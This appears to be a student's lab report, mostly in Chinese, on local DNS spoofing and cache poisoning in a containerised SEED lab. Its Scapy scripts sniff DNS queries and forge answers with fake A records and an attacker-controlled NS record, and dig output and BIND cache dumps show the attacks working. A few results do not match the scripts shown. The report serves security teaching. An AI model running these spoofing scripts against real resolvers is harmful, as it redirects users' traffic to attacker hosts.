Lab 5 . Report

57118105

Test the DNS setup

所有 setup 都在 user（10.9.0.5）上完成。

①运行第一条命令 dig ns.attacker32.com：

```
[07/23/21]seed@VM:~$ docksh 76
root@760afdcca263:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49388
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d5f420501e73b0a90100000060fadc0d9d2a4a0548c4aca0 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 15:11:09 UTC 2021
;; MSG SIZE  rcvd: 90
```

获得来自攻击者命名服务器上设置的区域文件。

②运行第二条命令 dig www.example.com：

```
root@760afdcca263:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2043
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a40a1e6825e3c47e0100000060fadc15b14428da83689271 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2567 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 15:11:17 UTC 2021
;; MSG SIZE  rcvd: 88
```

得到的结果为正常结果。

③运行第三条命令 dig @ns.attacker32.com www.example.com：

```
root@760afdcca263:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1467
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f1df295fe87c0ba00100000060fadc3196604e1b3dda909b (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Fri Jul 23 15:11:45 UTC 2021
;; MSG SIZE  rcvd: 88
```

从攻击者那里得到虚假结果。

Task 1

①在 local DNS server（10.9.0.53）上清除 DNS 缓存：

```
[07/23/21]seed@VM:~$ docksh 39
root@398c1a72d0fb:/# rndc flush
root@398c1a72d0fb:/#
```

②查找 10.9.0.1 所对应的网卡号：

```
[07/23/21]seed@VM:~/.../volumes$ ifconfig | grep br
br-a2d46f4588ca: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
br-fda3d2426600: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.8.0.1  netmask 255.255.255.0  broadcast 10.8.0.255
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
```

③编写程序 test.py：

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
   if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
     print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
     ip = IP() # Create an IP object
     ip.dst = pkt[IP].src
     ip.src = pkt[IP].dst
     udp = UDP() # Create a UPD object
     udp.dport=pkt[UDP].sport
     udp.sport=53
     Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
  rdata='1.2.3.4') # Create an aswer record
     dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
  ancount=1, an=Anssec,) # Create a DNS object
     spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
     send(spoofpkt)
myFilter = "udp and dst port 53" # Set the filter
pkt=sniff(iface='br-a2d46f4588ca', filter=myFilter, prn=spoof_dns)
```

④在 attacker 中运行 test.py：

```
 10.9.0.5 --> 10.9.0.53: 17783
.
Sent 1 packets.
 10.9.0.53 --> 192.58.128.30: 5913
```

⑤在 user 中查看伪造结果:

```
root@760afdcca263:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17783
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 63 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 16:14:18 UTC 2021
;; MSG SIZE  rcvd: 64
```

伪造成功。

⑥当本地的 DNS 服务器有了缓存后，第二次请求欺骗包来的就比合法包更慢：

```
root@760afdcca263:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17965
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4520c82056a2317a0100000060faf0ff9c6b29672dd11125 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 1903 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 16:40:31 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task 2

①切换至 NAT 模式，在未进行攻击前：

```
root@760afdcca263:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54867
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7b35fad2d751b64d0100000060faf4db635e650776d4a441 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2363 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 16:56:59 UTC 2021
;; MSG SIZE  rcvd: 88
```

②清除本地 DNS 的缓存：

```
root@398c1a72d0fb:/# rndc flush
root@398c1a72d0fb:/#
```

③修改 test.py 如下：

```python
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
   if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
     print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
     ip = IP() # Create an IP object
     ip.dst = pkt[IP].src
     ip.src = pkt[IP].dst
     udp = UDP() # Create a UPD object
     udp.dport=pkt[UDP].sport
     udp.sport=pkt[UDP].dport
     Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.5') # Create an aswer record
     # The Authority Section
     NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')

     Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A', ttl=259200, rdata='10.9.0.153')

     dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, an=Anssec,ns=NSsec1, ar=Addsec1)# Create a DNS object
     spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
     send(spoofpkt)
myFilter = "udp and dst port 53 "# Set the filter
pkt=sniff(iface='br-a2d46f4588ca', filter=myFilter, prn=spoof_dns)
```

④运行 test.py 后运行结果如下：

```
root@760afdcca263:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51310
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 55 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 17:45:10 UTC 2021
;; MSG SIZE  rcvd: 139
```

⑤在本地 DNS 服务器运行命令 rndc dumpdb -cache 和 cat /var/cache/bind/dump.db | grep www.example.com：

```
root@398c1a72d0fb:/# rndc dumpdb -cache
root@398c1a72d0fb:/# cat /var/cache/bind/dump.db | grep www.example.com
www.example.com.        863955  A       1.2.3.5
root@398c1a72d0fb:/#
```

可以看到缓存中毒攻击成功。

Task 3

①清除本地 DNS 缓存：

```
root@398c1a72d0fb:/# rndc flush
root@398c1a72d0fb:/#
```

②使用 Task 2 的 test.py，然后运行：

```
root@760afdcca263:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1568
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 47 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 18:04:09 UTC 2021
;; MSG SIZE  rcvd: 141
```

可见攻击已成功。

```
root@760afdcca263:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14467
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0014e31f56008b620100000060fb04a340bed8e3221ffe37 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Fri Jul 23 18:04:19 UTC 2021
;; MSG SIZE  rcvd: 88
```

③查看本地 DNS 服务器内的缓存：

```
root@398c1a72d0fb:/# rndc dumpdb -cache
root@398c1a72d0fb:/# cat /var/cache/bind/dump.db | grep example.com
example.com.            863983  NS      ns.attacker32.com.
_.example.com.          863983  A       1.2.3.5
mail.example.com.       863983  A       1.2.3.6
www.example.com.        863989  A       1.2.3.5
root@398c1a72d0fb:/#
```

攻击已写入 DNS 缓存中。

Task 4

①清除本地 DNS 缓存：

```
root@398c1a72d0fb:/# rndc flush
root@398c1a72d0fb:/#
```

②修改 test.py 为：

```
2 from scapy.all import *
3 import sys
4 NS_NAME = "www.example.com"
5 def spoof_dns(pkt):
6    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
7      print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
8      ip = IP() # Create an IP object
9      ip.dst = pkt[IP].src
10     ip.src = pkt[IP].dst
11     udp = UDP() # Create a UPD object
12     udp.dport=pkt[UDP].sport
13     udp.sport=pkt[UDP].dport
14     Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
   rdata='12.23.34.45') # Create an aswer record
15     # The Authority Section
16     NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200,
   rdata='ns.attacker32.com')
17     NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200,
   rdata='ns.example.com')
18     Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A', ttl=259200,
   rdata='10.9.0.153')
19     Addsec2 = DNSRR(rrname='ns.example.com', type='A', ttl=259200,
   rdata='5.6.7.8')
20     Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200,
   rdata='3.4.5.6')
21
22     dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
   qdcount=1, ancount=1, nscount=2, arcount=3, an=Anssec,ns=NSsec1/NSsec2,
   ar=Addsec1/Addsec2/Addsec3)# Create a DNS object
23     spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
24     send(spoofpkt)
25 myFilter = "udp and dst port 53 "# Set the filter
26 pkt=sniff(iface='br-a2d46f4588ca', filter=myFilter, prn=spoof_dns)
```

③运行 test.py 后尝试 dig 不同的网址：

```
root@760afdcca263:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8777
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       12.23.34.45

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153
ns.example.com.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6

;; Query time: 67 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 10:53:24 UTC 2021
;; MSG SIZE  rcvd: 240
```

可见 dig www.example.com 时运行成功。

```
root@760afdcca263:/# dig seu.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> seu.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61232
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b7385d8e0b4222ba0100000060fbf12bb5614298b5d81258 (good)
;; QUESTION SECTION:
;seu.example.com.               IN      A

;; ANSWER SECTION:
seu.example.com.        259200  IN      A       1.2.3.6

;; Query time: 15 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 10:53:31 UTC 2021
;; MSG SIZE  rcvd: 88

root@760afdcca263:/#
```

Dig seu.example.com（或其他前缀）时无法成功。

④在本地 DNS 中查看缓存：

```
root@398c1a72d0fb:/# rndc dumpdb -cache
root@398c1a72d0fb:/# cat /var/cache/bind/dump.db | grep example.com
example.com.            777589  NS      a.iana-servers.net.
ns.example.com.         608389  \-ANY   ;-$NXDOMAIN
; example.com. SOA ns.icann.org. noc.dns.icann.org. 2021072001 7200 3600 1209
600 3600
seu.example.com.        863987  A       1.2.3.6
www.example.com.        863982  A       12.23.34.45
; ns.example.com [v4 TTL 3589] [v6 TTL 7] [v4 nxdomain] [v6 failure]
root@398c1a72d0fb:/#
```

Task 5

①清除本地 DNS 缓存：

```
root@398c1a72d0fb:/# rndc flush
root@398c1a72d0fb:/#
```

②编写 test5.py：

```
from scapy.all import *
import sys
NS_NAME = "www.example.com"
def spoof_dns(pkt):
   if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
     print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
     ip = IP() # Create an IP object
     ip.dst = pkt[IP].src
     ip.src = pkt[IP].dst
     udp = UDP() # Create a UPD object
     udp.dport=pkt[UDP].sport
     udp.sport=pkt[UDP].dport
     Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='1.2.3.5') # Create an aswer record
     # The Authority Section
     NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200,
rdata='ns.attacker32.com')
     NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200,
rdata='ns.example.com')
     Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A', ttl=259200,
rdata='10.9.0.153')
     Addsec2 = DNSRR(rrname='ns.example.com', type='A', ttl=259200,
rdata='5.6.7.8')
     Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200,
rdata='3.4.5.6')

     dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=2, arcount=3, an=Anssec,ns=NSsec1/NSsec2,
ar=Addsec1/Addsec2/Addsec3)# Create a DNS object
     spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
     send(spoofpkt)
myFilter = "udp and dst port 53 "# Set the filter
pkt=sniff(iface='br-a2d46f4588ca', filter=myFilter, prn=spoof_dns)
```

③运行 test5.py 后进行 dig：

```
root@760afdcca263:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40798
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       12.23.34.45

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153
ns.example.com.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6

;; Query time: 63 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 11:19:10 UTC 2021
;; MSG SIZE  rcvd: 240
```

```
root@760afdcca263:/# dig seu.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> seu.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54873
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 787c64945013d2650100000060fbf753b51a9ff30a7af760 (good)
;; QUESTION SECTION:
;seu.example.com.               IN      A

;; ANSWER SECTION:
seu.example.com.        259200  IN      A       1.2.3.6

;; Query time: 7 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 11:19:47 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@760afdcca263:/# dig www.facebook.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47738
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 818a8ca7b0fdbd0c0100000060fbf75b3e525b57fbe7d3ae (good)
;; QUESTION SECTION:
;www.facebook.com.              IN      A

;; ANSWER SECTION:
www.facebook.com.       67      IN      A       104.244.46.93

;; Query time: 51 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 11:19:55 UTC 2021
;; MSG SIZE  rcvd: 89

root@760afdcca263:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 37485
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9292b306a469cab50100000060fbf76cf32534087bf547ca (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; AUTHORITY SECTION:
example.com.            3600    IN      SOA     ns.icann.org. noc.dns.icann.o
rg. 2021072001 7200 3600 1209600 3600

;; Query time: 187 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 11:20:12 UTC 2021
;; MSG SIZE  rcvd: 138

root@760afdcca263:/#
```

④在本地 DNS 中查看缓存：

```
root@398c1a72d0fb:/# rndc dumpdb -cache
root@398c1a72d0fb:/# cat /var/cache/bind/dump.db | grep .com
ns.attacker32.com.      615535  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 288
00 7200 2419200 86400
example.com.            777535  NS      a.iana-servers.net.
                                        20210730041620 20210723030620 39343 c
om.
mail.example.com.       608360  \-ANY   ;-$NXDOMAIN
; example.com. SOA ns.icann.org. noc.dns.icann.org. 2021072001 7200 3600 1209
600 3600
; example.com. RRSIG SOA ...
; example.com. RRSIG NSEC ...
; example.com. NSEC www.example.com. A NS SOA MX TXT AAAA RRSIG NSEC DNSKEY
ns.example.com.         608336  \-ANY   ;-$NXDOMAIN
; example.com. SOA ns.icann.org. noc.dns.icann.org. 2021072001 7200 3600 1209
600 3600
; example.com. RRSIG SOA ...
; example.com. RRSIG NSEC ...
; example.com. NSEC www.example.com. A NS SOA MX TXT AAAA RRSIG NSEC DNSKEY
seu.example.com.        863935  A       1.2.3.6
www.example.com.        863902  A       12.23.34.45
_.facebook.com.         604839  A       88.191.249.182
www.facebook.com.       604810  A       104.244.46.93
; ns.example.com [v4 TTL 3536] [v6 TTL 3536] [v4 nxdomain] [v6 nxdomain]
; ns.attacker32.com [v4 TTL 1735] [v6 TTL 10735] [v4 success] [v6 nxrrset]
; Dump complete
root@398c1a72d0fb:/#
```